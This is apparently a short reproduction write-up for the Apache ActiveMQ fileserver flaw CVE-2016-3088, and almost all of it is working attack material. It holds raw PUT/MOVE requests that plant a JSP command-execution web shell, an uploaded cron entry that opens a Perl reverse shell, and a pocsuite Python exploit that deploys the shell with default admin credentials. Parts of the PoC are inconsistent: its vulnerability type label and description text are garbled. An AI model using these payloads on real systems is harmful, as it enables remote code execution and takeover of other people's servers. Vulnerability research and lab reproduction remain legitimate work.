ActiveMQ漏洞复现分析以及POC(CVE-2016-3088)

docker-compose up -d

PUT /fileserver/test/123/123 HTTP/1.1
Host: 172.20.10.3:8161
Content-Length: 4
Content-Length: 4

test

PUT /fileserver/1.txt HTTP/1.1
Host: 172.20.10.3:8161
Content-Length: 330

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: 172.20.10.3:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node016s6o5xkj6jyp130d905yk3j4l1.node0
Connection: close

PUT /fileserver/1.txt HTTP/1.1
Host: 172.20.10.3:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 250

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register

class ActiveMQPoc(POCBase):
	vulID = '002'
	version = '1.0'
	author = ['ol4three']
	vulDate = '2020-12-17'
	updateDate = '2020-12-17'
	references = ['https://paper.seebug.org/346/']
	name = 'Apache ActiveMQ (CVE-2016-3088)'
	appPowerLink = 'activemq.apache.org'
	appName = 'Apache activemq'
	appVersion = ' Apache ActiveMQ 5.14.0'
	vulType = 'Arbitrary File Reading'
	desc = '''
 			fileserverfileserverjsp\
 			MOVEMOVE
 			'''
	pocDesc = '''
 	pocsuite -r ***.py -u target --verify"
 	'''
	samples = []
	install_requires = []

	def _verify(self):
 		result = {}
 		path = "fileserver/1.txt"
 		path1 = "api/1.jsp?cmd=ls"
 		url = self.url + '/' + path
 		try:
 			resp = req.put(url)
 			resp1 = req.get(url)
 			if (resp.status_code == 204 and str(resp1.status_code)[0] in ('2', '3')):
 				result['VerifyInfo'] = {}
 				result['VerifyInfo']['URL'] = url

 		except Exception as ex:
 			pass

 		return self.parse_output(result)

	def parse_output(self, result):
 		output = Output(self)
 		if result:
 			output.success(result)
 		else:
 			output.fail('target is not vulnerable')
 		return output

	def _attack(self):
		result = {}
		path = "fileserver/1.txt"
		path1 = "api/1.jsp?cmd=id"
		url = self.url + '/' + path
		url1 = self.url + '/' + path1
		data1 = '1'
		data = '<%@ page import="java.io.*"%><%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}%>'

		headers ={
 		'Destination' : 'file:///opt/activemq/webapps/api/1.jsp'
		}
		headers1={
		'Authorization':'Basic YWRtaW46YWRtaW4=',
		'Connection':'close'

		}
		proxies={
		'http':'127.0.0.1:8080',
		'https':'127.0.0.1:8080'
		}
		try:
			resp = req.put(url,data=data)
			resp1 = req.get(url)
			resp2 = req.request('MOVE',url=url,headers={'Destination' : 'file:///opt/activemq/webapps/api/2.jsp'})
			resp3 = req.get(url1,headers=headers1)
			resp3 = resp3.text[12:50]
			result['AdminInfo'] = {}
			result['AdminInfo']['SHELL'] = url1
			result['AdminInfo']['EXEC '] = resp3
		except Exception as ex:
			pass

		return self.parse_output(result)

register(ActiveMQPoc)